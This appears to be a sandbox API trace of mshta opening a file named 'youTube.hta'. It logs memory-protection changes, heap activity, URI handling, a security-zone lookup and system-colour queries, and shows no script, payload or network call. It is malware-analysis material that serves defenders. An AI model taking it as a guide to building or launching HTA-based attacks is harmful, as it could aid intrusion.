[0194.775] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0194.776] GetProcAddress (hModule=0x754b0000, lpProcName="CoTaskMemFree") returned 0x75509170
[0194.776] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19fc9c | out: lpflOldProtect=0x19fc9c*=0x4) returned 1
[0194.776] CoTaskMemFree (pv=0x6d2628)
[0194.776] CoTaskMemFree (pv=0x6c5000)
[0194.776] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.777] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0194.777] GetProcAddress (hModule=0x76150000, lpProcName=0x6) returned 0x76169d40
[0194.777] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19fcdc | out: lpflOldProtect=0x19fcdc*=0x4) returned 1
[0194.779] wcsncmp (_String1="HKCU\\", _String2="HKCU\\", _MaxCount=0x5) returned 0
[0194.779] StrCmpCW (pszStr1="Software\\Microsoft\\Internet Explorer", pszStr2="Software\\Microsoft\\Windows Mail\\Trident") returned -14
[0194.779] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.800] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x4a) returned 0x6d2628
[0194.800] GetSysColor (nIndex=26) returned 0xcc6600
[0194.800] GetSysColor (nIndex=5) returned 0xffffff
[0194.800] GetSysColor (nIndex=8) returned 0x0
[0194.800] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.800] GetSysColor (nIndex=26) returned 0xcc6600
[0194.800] GetSysColor (nIndex=5) returned 0xffffff
[0194.800] GetSysColor (nIndex=8) returned 0x0
[0194.811] wcstol (in: _String="0,0,255", _EndPtr=0x19d9c4, _Radix=10 | out: _EndPtr=0x19d9c4*=",0,255") returned 0
[0194.812] wcstol (in: _String="0,255", _EndPtr=0x19d9c4, _Radix=10 | out: _EndPtr=0x19d9c4*=",255") returned 0
[0194.812] wcstol (in: _String="255", _EndPtr=0x19d9c4, _Radix=10 | out: _EndPtr=0x19d9c4*="") returned 255
[0194.812] wcstol (in: _String="128,0,128", _EndPtr=0x19d9c4, _Radix=10 | out: _EndPtr=0x19d9c4*=",0,128") returned 128
[0194.812] wcstol (in: _String="0,128", _EndPtr=0x19d9c4, _Radix=10 | out: _EndPtr=0x19d9c4*=",128") returned 0
[0194.812] wcstol (in: _String="128", _EndPtr=0x19d9c4, _Radix=10 | out: _EndPtr=0x19d9c4*="") returned 128
[0194.820] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.820] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.820] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x3a) returned 0x6be060
[0194.821] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x9a) returned 0x6d68d8
[0194.822] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.822] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x26) returned 0x6c1dc8
[0194.823] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x9e) returned 0x6d64e8
[0194.823] GetProcessHeap () returned 0x6b0000
[0194.823] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c24c0 | out: hHeap=0x6b0000) returned 1
[0194.823] GetProcessHeap () returned 0x6b0000
[0194.823] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c2500 | out: hHeap=0x6b0000) returned 1
[0194.823] GetProcessHeap () returned 0x6b0000
[0194.823] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d4810 | out: hHeap=0x6b0000) returned 1
[0194.847] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.847] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.847] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.847] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.847] _ltow_s (in: _Value=3, _Buffer=0x19dac8, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0
[0194.848] _ltow_s (in: _Value=3, _Buffer=0x19dac8, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0
[0194.848] _ltow_s (in: _Value=3, _Buffer=0x19dac8, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0
[0194.848] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.848] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x24) returned 0x6c1df8
[0194.848] _ltow_s (in: _Value=3, _Buffer=0x19dac8, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0
[0194.848] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1c) returned 0x6d2c40
[0194.848] _ltow_s (in: _Value=3, _Buffer=0x19dac8, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0
[0194.849] _ltow_s (in: _Value=3, _Buffer=0x19dac8, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0
[0194.849] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6c5078
[0194.849] _ltow_s (in: _Value=3, _Buffer=0x19dac8, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0
[0194.850] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x16) returned 0x6c5618
[0194.850] GetAcceptLanguagesW () returned 0x0
[0194.851] LocaleNameToLCID (lpName="en-US", dwFlags=0x8000000) returned 0x409
[0194.851] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6ba1b8
[0194.851] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xb0) returned 0x6d94b8
[0194.851] LCIDToLocaleName (in: Locale=0x409, lpName=0x6d94bc, cchName=85, dwFlags=0x8000000 | out: lpName="en-US") returned 6
[0194.851] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6ba1b8, Size=0xb0) returned 0x6d9570
[0194.855] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d94b8 | out: hHeap=0x6b0000) returned 1
[0194.856] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.856] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6ba248
[0194.856] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.856] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.856] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.856] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d9570 | out: hHeap=0x6b0000) returned 1
[0194.856] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.856] memcpy_s (in: _Destination=0x19eda8, _DestinationSize=0x1000, _Source=0x6ee36354, _SourceSize=0xc | out: _Destination=0x19eda8) returned 0x0
[0194.856] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6ba1b8
[0194.857] GetClassNameW (in: hWnd=0x40264, lpClassName=0x19fd9c, nMaxCount=10 | out: lpClassName="HTML Appl") returned 9
[0194.857] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="HTML Appl", cchCount1=9, lpString2="HH Parent", cchCount2=9) returned 3
[0194.857] GetParent (hWnd=0x40264) returned 0x403c0
[0194.857] GetClassNameW (in: hWnd=0x403c0, lpClassName=0x19fd9c, nMaxCount=10 | out: lpClassName="HTML Appl") returned 9
[0194.857] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="HTML Appl", cchCount1=9, lpString2="HH Parent", cchCount2=9) returned 3
[0194.857] GetParent (hWnd=0x403c0) returned 0x0
[0194.857] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.857] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.858] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.858] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.858] memcpy_s (in: _Destination=0x641e350, _DestinationSize=0x6, _Source=0x6dc9e0a0, _SourceSize=0x4 | out: _Destination=0x641e350) returned 0x0
[0194.858] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.858] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.858] memcpy_s (in: _Destination=0x641e370, _DestinationSize=0xc, _Source=0x6dc9e094, _SourceSize=0xa | out: _Destination=0x641e370) returned 0x0
[0194.858] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.858] memcpy_s (in: _Destination=0x641e390, _DestinationSize=0xa, _Source=0x6dc9e088, _SourceSize=0x8 | out: _Destination=0x641e390) returned 0x0
[0194.858] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.858] memcpy_s (in: _Destination=0x641e3b0, _DestinationSize=0xc, _Source=0x6dc9e07c, _SourceSize=0xa | out: _Destination=0x641e3b0) returned 0x0
[0194.858] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.858] memcpy_s (in: _Destination=0x641e3d0, _DestinationSize=0x6, _Source=0x6dc9e074, _SourceSize=0x4 | out: _Destination=0x641e3d0) returned 0x0
[0194.859] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.859] memcpy_s (in: _Destination=0x641e3f0, _DestinationSize=0x8, _Source=0x6dc9e06c, _SourceSize=0x6 | out: _Destination=0x641e3f0) returned 0x0
[0194.859] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.859] memcpy_s (in: _Destination=0x641e410, _DestinationSize=0x6, _Source=0x6dc9e064, _SourceSize=0x4 | out: _Destination=0x641e410) returned 0x0
[0194.859] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.859] memcpy_s (in: _Destination=0x641e430, _DestinationSize=0x8, _Source=0x6dc9e05c, _SourceSize=0x6 | out: _Destination=0x641e430) returned 0x0
[0194.859] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.859] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1c) returned 0x6d2ad8
[0194.859] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1c) returned 0x6d2c68
[0194.859] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1a) returned 0x6d2c18
[0194.859] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1a) returned 0x6d2a10
[0194.859] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1a) returned 0x6d2c90
[0194.859] _ltow_s (in: _Value=0, _Buffer=0x19fa50, _BufferCount=0x21, _Radix=10 | out: _Buffer="0") returned 0x0
[0194.859] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x12) returned 0x6c54f8
[0194.859] _ltow_s (in: _Value=5, _Buffer=0x19fa50, _BufferCount=0x21, _Radix=10 | out: _Buffer="5") returned 0x0
[0194.859] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x12) returned 0x6c5458
[0194.859] _ltow_s (in: _Value=7, _Buffer=0x19fa50, _BufferCount=0x21, _Radix=10 | out: _Buffer="7") returned 0x0
[0194.859] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x12) returned 0x6c5698
[0194.859] _ltow_s (in: _Value=8, _Buffer=0x19fa50, _BufferCount=0x21, _Radix=10 | out: _Buffer="8") returned 0x0
[0194.859] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x12) returned 0x6c54b8
[0194.859] _ltow_s (in: _Value=9, _Buffer=0x19fa50, _BufferCount=0x21, _Radix=10 | out: _Buffer="9") returned 0x0
[0194.859] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x12) returned 0x6c57b8
[0194.859] _ltow_s (in: _Value=10, _Buffer=0x19fa50, _BufferCount=0x21, _Radix=10 | out: _Buffer="10") returned 0x0
[0194.860] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x14) returned 0x6c55b8
[0194.860] _ltow_s (in: _Value=11, _Buffer=0x19fa50, _BufferCount=0x21, _Radix=10 | out: _Buffer="11") returned 0x0
[0194.860] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x14) returned 0x6c54d8
[0194.860] _ltow_s (in: _Value=12, _Buffer=0x19fa50, _BufferCount=0x21, _Radix=10 | out: _Buffer="12") returned 0x0
[0194.860] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x14) returned 0x6c5738
[0194.860] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.860] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x12) returned 0x6c5518
[0194.860] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.860] memcpy_s (in: _Destination=0x641e450, _DestinationSize=0x6, _Source=0x6d4790, _SourceSize=0x4 | out: _Destination=0x641e450) returned 0x0
[0194.861] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xc) returned 0x6d98a8
[0194.861] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.861] memcpy_s (in: _Destination=0x641e470, _DestinationSize=0x8, _Source=0x6d47d0, _SourceSize=0x6 | out: _Destination=0x641e470) returned 0x0
[0194.861] GetProcessHeap () returned 0x6b0000
[0194.861] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d4790 | out: hHeap=0x6b0000) returned 1
[0194.861] GetProcessHeap () returned 0x6b0000
[0194.861] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d47d0 | out: hHeap=0x6b0000) returned 1
[0194.861] GetProcessHeap () returned 0x6b0000
[0194.861] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d4880 | out: hHeap=0x6b0000) returned 1
[0194.862] IMoniker:GetDisplayName (in: This=0x6c2280, pbc=0x0, pmkToLeft=0x0, ppszDisplayName=0x19fd5c | out: ppszDisplayName=0x19fd5c*="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta") returned 0x0
[0194.862] IUnknown:QueryInterface (in: This=0x6c2280, riid=0x6dceffc4*(Data1=0xa158a630, Data2=0xed6f, Data3=0x45fb, Data4=([0]=0xb9, [1]=0x87, [2]=0xf6, [3]=0x86, [4]=0x76, [5]=0xf5, [6]=0x77, [7]=0x52)), ppvObject=0x19fd30 | out: ppvObject=0x19fd30*=0x6c228c) returned 0x0
[0194.862] IUriContainer:GetIUri (in: This=0x6c228c, ppIUri=0x19fd60 | out: ppIUri=0x19fd60*=0x6c4c5c) returned 0x0
[0194.862] IUnknown:Release (This=0x6c228c) returned 0x1
[0194.862] IUnknown:AddRef (This=0x6c2280) returned 0x2
[0194.862] IUnknown:AddRef (This=0x6c4c5c) returned 0x6
[0194.863] IMoniker:GetDisplayName (in: This=0x6c2280, pbc=0x0, pmkToLeft=0x0, ppszDisplayName=0x19fd14 | out: ppszDisplayName=0x19fd14*="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta") returned 0x0
[0194.863] UrlGetLocationW (psz1="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta") returned 0x0
[0194.863] UrlGetLocationW (psz1=0x0) returned 0x0
[0194.863] CreateURLMonikerEx (in: pMkCtx=0x0, szURL="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", ppmk=0x19fbf8*=0x0, dwFlags=0x1 | out: ppmk=0x19fbf8*=0x6c24c0) returned 0x0
[0194.864] CreateUri (in: pwzURI="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", dwFlags=0x3002b84, dwReserved=0x0, ppURI=0x19fbe4 | out: ppURI=0x19fbe4*=0x6d993c) returned 0x0
[0194.864] IUri:GetScheme (in: This=0x6d993c, pdwScheme=0x19fb7c | out: pdwScheme=0x19fb7c*=0x9) returned 0x0
[0194.864] CoInternetIsFeatureEnabled (FeatureEntry=0x1, dwFlags=0x2) returned 0x1
[0194.864] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.880] IUnknown:AddRef (This=0x6d993c) returned 0x6
[0194.881] IUri:GetAbsoluteUri (in: This=0x6d993c, pbstrAbsoluteUri=0x6408240 | out: pbstrAbsoluteUri=0x6408240*="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta") returned 0x0
[0194.882] IUnknown:Release (This=0x6d993c) returned 0x5
[0194.882] IUnknown:AddRef (This=0x6c24c0) returned 0x2
[0194.882] IUnknown:Release (This=0x6c24c0) returned 0x1
[0194.883] IUnknown:AddRef (This=0x6c2280) returned 0x3
[0194.883] IUnknown:Release (This=0x6c24c0) returned 0x0
[0194.883] CoInternetIsFeatureEnabled (FeatureEntry=0x15, dwFlags=0x2) returned 0x1
[0194.884] IUnknown:AddRef (This=0x6c2280) returned 0x4
[0194.884] IUnknown:QueryInterface (in: This=0x6c4c5c, riid=0x6dcd333c*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x19f82c | out: ppvObject=0x19f82c*=0x6c4c5c) returned 0x0
[0194.885] IUnknown:Release (This=0x6c4c5c) returned 0x6
[0194.885] IUnknown:AddRef (This=0x6c4c5c) returned 0x7
[0194.885] IUnknown:QueryInterface (in: This=0x6c2280, riid=0x6dceffc4*(Data1=0xa158a630, Data2=0xed6f, Data3=0x45fb, Data4=([0]=0xb9, [1]=0x87, [2]=0xf6, [3]=0x86, [4]=0x76, [5]=0xf5, [6]=0x77, [7]=0x52)), ppvObject=0x19f7f8 | out: ppvObject=0x19f7f8*=0x6c228c) returned 0x0
[0194.885] IUriContainer:GetIUri (in: This=0x6c228c, ppIUri=0x19fa90 | out: ppIUri=0x19fa90*=0x6c4c5c) returned 0x0
[0194.885] IUnknown:Release (This=0x6c228c) returned 0x4
[0194.885] IUnknown:AddRef (This=0x6c2280) returned 0x5
[0194.885] IUnknown:Release (This=0x6c2280) returned 0x4
[0194.885] IUnknown:AddRef (This=0x6c4c5c) returned 0x9
[0194.885] IUnknown:QueryInterface (in: This=0x6c4c5c, riid=0x6dcd333c*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x19f82c | out: ppvObject=0x19f82c*=0x6c4c5c) returned 0x0
[0194.886] IUnknown:Release (This=0x6c4c5c) returned 0x9
[0194.886] IUnknown:AddRef (This=0x6c4c5c) returned 0xa
[0194.886] IUri:GetScheme (in: This=0x6c4c5c, pdwScheme=0x19f834 | out: pdwScheme=0x19f834*=0x9) returned 0x0
[0194.886] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.886] GetCurrentProcessId () returned 0x7a4
[0194.886] GetCurrentProcessId () returned 0x7a4
[0194.887] IUnknown:QueryInterface (in: This=0x6c4c5c, riid=0x6dcd333c*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x19f82c | out: ppvObject=0x19f82c*=0x6c4c5c) returned 0x0
[0194.887] IUnknown:Release (This=0x6c4c5c) returned 0xa
[0194.887] IUnknown:AddRef (This=0x6c4c5c) returned 0xb
[0194.887] IUri:GetScheme (in: This=0x6c4c5c, pdwScheme=0x19f808 | out: pdwScheme=0x19f808*=0x9) returned 0x0
[0194.887] IUnknown:QueryInterface (in: This=0x6c4c5c, riid=0x6dcd333c*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x19f7ac | out: ppvObject=0x19f7ac*=0x6c4c5c) returned 0x0
[0194.888] IUnknown:Release (This=0x6c4c5c) returned 0xb
[0194.888] IUnknown:AddRef (This=0x6c4c5c) returned 0xc
[0194.888] IUnknown:Release (This=0x6c4c5c) returned 0xb
[0194.888] IUri:GetAbsoluteUri (in: This=0x6c4c5c, pbstrAbsoluteUri=0x19f82c | out: pbstrAbsoluteUri=0x19f82c*="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta") returned 0x0
[0194.888] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0194.892] GetProcAddress (hModule=0x76150000, lpProcName=0x7) returned 0x76162640
[0194.892] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19f748 | out: lpflOldProtect=0x19f748*=0x4) returned 1
[0194.892] SysStringLen (param_1="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta") returned 0x33
[0194.893] CreateUri (in: pwzURI="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", dwFlags=0x3002b80, dwReserved=0x0, ppURI=0x19fa7c | out: ppURI=0x19fa7c*=0x6d9db4) returned 0x0
[0194.893] IUnknown:Release (This=0x6c4c5c) returned 0xa
[0194.893] IUri:GetScheme (in: This=0x6d9db4, pdwScheme=0x19f7e4 | out: pdwScheme=0x19f7e4*=0x9) returned 0x0
[0194.893] IUri:IsEqual (in: This=0x6d993c, pUri=0x6d9db4, pfEqual=0x19f834 | out: pfEqual=0x19f834*=1) returned 0x0
[0194.894] IUnknown:AddRef (This=0x6d993c) returned 0x4
[0194.894] IUri:GetPropertyDWORD (in: This=0x6d993c, uriProp=0x11, pdwProperty=0x19f5a4, dwFlags=0x0 | out: pdwProperty=0x19f5a4*=0x9) returned 0x0
[0194.894] IUnknown:Release (This=0x6d993c) returned 0x3
[0194.894] IUnknown:AddRef (This=0x6c0ae0) returned 0x2
[0194.894] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6c) returned 0x6d9f60
[0194.894] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0194.895] GetProcAddress (hModule=0x70a40000, lpProcName=0x207) returned 0x70a9a3a0
[0194.895] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19d51c | out: lpflOldProtect=0x19d51c*=0x4) returned 1
[0194.895] IUnknown:QueryInterface (in: This=0x6ee367bc, riid=0x70a44c58*(Data1=0xc90db44a, Data2=0x1902, Data3=0x451e, Data4=([0]=0xbd, [1]=0xf0, [2]=0x5c, [3]=0x89, [4]=0x66, [5]=0xb, [6]=0x52, [7]=0x8c)), ppvObject=0x19d510 | out: ppvObject=0x19d510*=0x0) returned 0x80004002
[0194.895] IInternetSecurityManager:GetSecurityId (in: This=0x6ee367bc, pwszUrl="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", pbSecurityId=0x19f630, pcbSecurityId=0x19f62c*=0x200, dwReserved=0x0 | out: pbSecurityId=0x19f630*=0x0, pcbSecurityId=0x19f62c*=0x200) returned 0x800c0011
[0194.916] IUnknown:Release (This=0x6c0ae0) returned 0x1
[0194.916] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d9f60 | out: hHeap=0x6b0000) returned 1
[0194.916] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c4ee0 | out: hHeap=0x6b0000) returned 1
[0194.916] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x6d9500
[0194.916] memcpy_s (in: _Destination=0x6d9500, _DestinationSize=0xa, _Source=0x19f630, _SourceSize=0xa | out: _Destination=0x6d9500) returned 0x0
[0194.916] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c4f40 | out: hHeap=0x6b0000) returned 1
[0194.916] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xa) returned 0x6d96b0
[0194.916] memcpy_s (in: _Destination=0x6d96b0, _DestinationSize=0xa, _Source=0x19f630, _SourceSize=0xa | out: _Destination=0x6d96b0) returned 0x0
[0194.935] ParseURLW (in: pcszURL="file:///C:/Users/RDhJ0CNFevzX/Documents/youTube.hta", ppu=0x19f7e8 | out: ppu=0x19f7e8) returned 0x0
[0194.935] GetDC (hWnd=0x0) returned 0xa0100d0
[0194.936] CreateCompatibleBitmap (hdc=0xa0100d0, cx=1, cy=1) returned 0x5f050a8c
[0194.936] GetDIBits (in: hdc=0xa0100d0, hbm=0x5f050a8c, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x19f3b8, usage=0x0 | out: lpvBits=0x0, lpbmi=0x19f3b8) returned 1
[0194.936] GetDIBits (in: hdc=0xa0100d0, hbm=0x5f050a8c, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x19f3b8, usage=0x0 | out: lpvBits=0x0, lpbmi=0x19f3b8) returned 1
[0194.936] DeleteObject (ho=0x5f050a8c) returned 1
[0194.936] GetSysColor (nIndex=0) returned 0xc8c8c8
[0194.936] GetSysColor (nIndex=1) returned 0x0
[0194.936] GetSysColor (nIndex=2) returned 0xd1b499
[0194.936] GetSysColor (nIndex=3) returned 0xdbcdbf
[0194.936] GetSysColor (nIndex=4) returned 0xf0f0f0
[0194.936] GetSysColor (nIndex=5) returned 0xffffff
[0194.936] GetSysColor (nIndex=6) returned 0x646464
[0194.936] GetSysColor (nIndex=7) returned 0x0
[0194.936] GetSysColor (nIndex=8) returned 0x0
[0194.936] GetSysColor (nIndex=9) returned 0x0
[0194.936] GetSysColor (nIndex=10) returned 0xb4b4b4
[0194.937] GetSysColor (nIndex=11) returned 0xfcf7f4
[0194.937] GetSysColor (nIndex=12) returned 0xababab
[0194.937] GetSysColor (nIndex=13) returned 0xff9933
[0194.937] GetSysColor (nIndex=14) returned 0xffffff
[0194.937] GetSysColor (nIndex=15) returned 0xf0f0f0
[0194.937] GetSysColor (nIndex=16) returned 0xa0a0a0
[0194.937] GetSysColor (nIndex=17) returned 0x6d6d6d
[0194.937] GetSysColor (nIndex=18) returned 0x0
[0194.937] GetSysColor (nIndex=19) returned 0x0
[0194.937] GetSysColor (nIndex=20) returned 0xffffff
[0194.937] GetSysColor (nIndex=21) returned 0x696969
[0194.937] GetSysColor (nIndex=22) returned 0xe3e3e3
[0194.937] GetSysColor (nIndex=23) returned 0x0
[0194.937] GetSysColor (nIndex=24) returned 0xe1ffff
[0194.937] GetSysColor (nIndex=25) returned 0x0
[0194.937] GetSysColor (nIndex=26) returned 0xcc6600
[0194.937] GetSysColor (nIndex=27) returned 0xead1b9
[0194.937] GetSysColor (nIndex=28) returned 0xf2e4d7
[0194.937] GetSysColor (nIndex=29) returned 0xff9933
[0194.937] GetSysColor (nIndex=30) returned 0xf0f0f0
[0194.937] GetSysColor (nIndex=31) returned 0x0
[0194.937] GetSysColor (nIndex=32) returned 0x0
[0194.937] GetSysColor (nIndex=33) returned 0x0
[0194.937] GetSysColor (nIndex=34) returned 0x0
[0194.937] GetSysColor (nIndex=35) returned 0x0
[0194.937] GetSysColor (nIndex=36) returned 0x0
[0194.937] GetSysColor (nIndex=37) returned 0x0
[0194.944] GetSysColor (nIndex=38) returned 0x0
[0194.950] GetSysColor (nIndex=39) returned 0x0
[0194.951] GetSysColor (nIndex=40) returned 0x0
[0194.951] GetSysColor (nIndex=41) returned 0x0
[0194.951] GetSysColor (nIndex=42) returned 0x0
[0194.951] GetSysColor (nIndex=43) returned 0x0
[0194.951] GetSysColor (nIndex=44) returned 0x0
[0194.951] GetSysColor (nIndex=45) returned 0x0
[0194.951] GetSysColor (nIndex=46) returned 0x0
[0194.951] GetSysColor (nIndex=47) returned 0x0
[0194.951] GetSysColor (nIndex=48) returned 0x0
[0194.951] GetSysColor (nIndex=49) returned 0x0
[0194.951] GetSysColor (nIndex=50) returned 0x0
[0194.951] GetSysColor (nIndex=51) returned 0x0
[0194.951] GetSysColor (nIndex=52) returned 0x0
[0194.951] GetSysColor (nIndex=53) returned 0x0
[0194.951] GetSysColor (nIndex=54) returned 0x0
[0194.951] GetSysColor (nIndex=55) returned 0x0
[0194.951] GetSysColor (nIndex=56) returned 0x0
[0194.951] GetSysColor (nIndex=57) returned 0x0
[0194.951] GetSysColor (nIndex=58) returned 0x0
[0194.951] GetSysColor (nIndex=59) returned 0x0
[0194.951] GetSysColor (nIndex=60) returned 0x0
[0194.951] GetSysColor (nIndex=61) returned 0x0
[0194.951] GetSysColor (nIndex=62) returned 0x0
[0194.951] GetSysColor (nIndex=63) returned 0x0
[0194.951] GetDeviceCaps (hdc=0xa0100d0, index=38) returned 32409
[0194.951] ReleaseDC (hWnd=0x0, hDC=0xa0100d0) returned 1
